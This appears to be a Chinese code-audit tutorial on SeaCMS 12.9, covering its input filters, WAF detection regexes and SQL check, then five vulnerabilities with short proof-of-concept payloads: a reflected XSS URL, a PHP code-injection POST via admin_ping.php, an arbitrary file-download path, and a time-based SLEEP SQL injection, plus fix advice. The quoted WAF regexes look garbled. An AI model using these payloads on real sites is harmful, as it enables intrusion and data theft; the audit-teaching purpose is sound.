从seacms12.9教你学会代码审计
字数 1346 2025-08-22 22:47:30
SeaCMS 12.9 代码审计与漏洞分析教学文档
一、环境搭建
- 下载 SeaCMS 12.9 源码
- 使用 phpstudy 搭建本地测试环境
二、安全防护机制分析
1. 输入过滤机制
在 include/common.php 中实现了全局输入过滤:
function _RunMagicQuotes(&$svar) {
if(!get_magic_quotes_gpc()) {
if(is_array($svar)) {
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
} else {
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE','_SERVER') as $_request) {
foreach(
$$
_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
2. WebScan 防护
在 include/webscan/webscan.php 中定义了严格的过滤规则:
// GET 拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|d+data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*sleep\s*b(group_)?concat[\\s\bcase[\s\/\*]*?when[\s\load_file\s*a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*v(8|9)|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
// POST 拦截规则
$postfilter = "<d+data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*sleep\s*b(group_)?concat[\\s\bcase[\s\/\*]*?when[\s\load_file\s*b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
// COOKIE 拦截规则
$cookiefilter = "benchmark\s*sleep\s*load_file\s*?\\(|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
3. SQL 注入防护
CheckSql 方法实现了 SQL 注入检测:
function CheckSql($db_string, $querytype = 'select') {
global $cfg_cookie_encode;
$clean = '';
$error = '';
$old_pos = 0;
$pos = -1;
$log_file = sea_INC . '/../data/' . md5($cfg_cookie_encode) . '_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
// 如果是普通查询语句,直接过滤一些特殊语法
if($querytype == 'select') {
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
if(m_eregi($notallow1, $db_string)){
exit('SQL check');
}
}
// 检测 UNION
if(stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = "union detect";
}
// 检测注释
elseif(stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false) {
$fail = true;
$error = "comment detect";
}
// 检测危险函数
elseif(stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) {
$fail = true;
$error = "sleep detect";
}
// 其他检测项...
if(!empty($fail)) {
fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
} else {
return $db_string;
}
}
三、漏洞分析
1. 反射型 XSS 漏洞
文件位置: /js/player/dmplayer/player/index.php
漏洞代码:
#loading-box { background: #<?php echo($_GET['color']); ?> !important; }
漏洞分析:
- 直接输出 GET 参数
color到页面 - 未进行任何过滤或编码
- 该文件未引用 WAF 防护
利用方式:
构造恶意 URL 如:
/js/player/dmplayer/player/index.php?color=red;alert(1)//
2. 后台代码执行漏洞
文件位置: admin_ping.php
漏洞代码:
if($action=="set") {
$weburl= $_POST['weburl'];
$token = $_POST['token'];
$open=fopen("../data/admin/ping.php","w");
$str='<?php';
$str.='$weburl = "';
$str.="$weburl";
$str.'";';
$str.='$token = "';
$str.="$token";
$str.'";';
$str .= "?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ping.php");
exit;
}
漏洞分析:
- 直接将用户输入的
$weburl和$token写入 PHP 文件 - 未进行任何过滤或安全检查
- 可写入任意 PHP 代码实现代码执行
利用方式:
构造 POST 请求:
action=set&weburl=test";phpinfo();$a="&token=test
3. 任意文件下载漏洞
文件位置: admin/admin_safe.php
漏洞代码:
if($action == "download" && isset($_GET['file']) && trim($_GET['file'])!= "") {
$file = $_GET['file'];
ob_clean();
if(@file_exists($file)) {
header("Content-type: application/octet-stream");
header("Content-Disposition: filename=\"".basename($file)."\"");
echo file_get_contents($file);
}
exit();
}
漏洞分析:
- 直接读取并输出用户指定的文件
- 未对文件路径进行限制或过滤
- 可读取服务器任意文件
利用方式:
构造 URL:
/admin_safe.php?action=download&file=D:\phpstudy_pro\WWW\seacms-12_9\nginx.htaccess
4. 后台 SQL 注入漏洞
文件位置: admin_datarelate.php 和 /templets/admin_datarelate_result.htm
漏洞代码:
$sql = stripslashes($sql);
if(strtolower(substr(trim($sql), 0, 6)) != 'select') {
$sqlArr = explode(';', rtrim(trim($sql), ';'));
foreach($sqlArr as $sql) {
$num = $dsql->ExecuteNoneQuery2($sql);
if($num == -1) {
echo '<div style="color:#F00;text-align:center">'.$dsql->GetError().'<br />SQL执行失败,请检查SQL语句是否正确<a href="//www.seacms.net">[?]</a></div></tr></table>';
viewFoot();
exit();
}
}
echo '<div style="color:#F00;text-align:center">SQL执行成功,'.$num.'条数据受影响</div></tr></table>';
viewFoot();
exit();
}
漏洞分析:
- 使用
ExecuteNoneQuery2方法执行 SQL - 该方法未调用
CheckSql进行安全检查 - 可执行任意 SQL 语句
利用方式:
构造恶意 SQL 语句通过后台执行
5. 未授权 SQL 注入漏洞
文件位置: /js/player/dmplayer/dmku/index.php
漏洞代码:
if($_GET['ac'] == "edit") {
$cid = $_POST['cid'] ?: showmessage(-1, null);
$data = $d->编辑弹幕($cid) ?: succeedmsg(0, '完成');
exit;
}
public static function 编辑_弹幕($cid) {
try {
global $_config;
$text = $_POST['text'];
$color = $_POST['color'];
$conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
$sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";
$result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";
$conn->query($sql);
$conn->query($result);
} catch(PDOException $e) {
showmessage(-1, '数据库错误:'.$e->getMessage());
}
}
漏洞分析:
- 使用原生
query方法执行 SQL - 未进行参数化查询或过滤
- 无需登录即可利用
$cid参数可控导致 SQL 注入
利用方式:
构造 POST 请求:
ac=edit&cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
四、修复建议
-
反射型 XSS:
- 对输出进行 HTML 实体编码
- 使用
htmlspecialchars()函数
-
代码执行漏洞:
- 对写入文件内容进行严格过滤
- 限制可写入的文件类型和内容
-
任意文件下载:
- 限制可下载的文件目录
- 验证文件路径合法性
-
SQL 注入漏洞:
- 统一使用参数化查询
- 确保所有 SQL 执行都经过
CheckSql检测 - 对
ExecuteNoneQuery2方法添加安全检查
-
未授权访问:
- 添加权限验证
- 对敏感操作进行身份验证
五、审计总结
- SeaCMS 12.9 虽然实现了较为全面的安全防护机制,但仍存在多处安全漏洞
- 主要问题集中在:
- 未对所有用户输入进行过滤
- 未对所有 SQL 执行点进行安全检查
- 部分功能未进行权限验证
- 审计时应重点关注:
- 用户输入点
- 文件操作函数
- 数据库查询方法
- 权限验证机制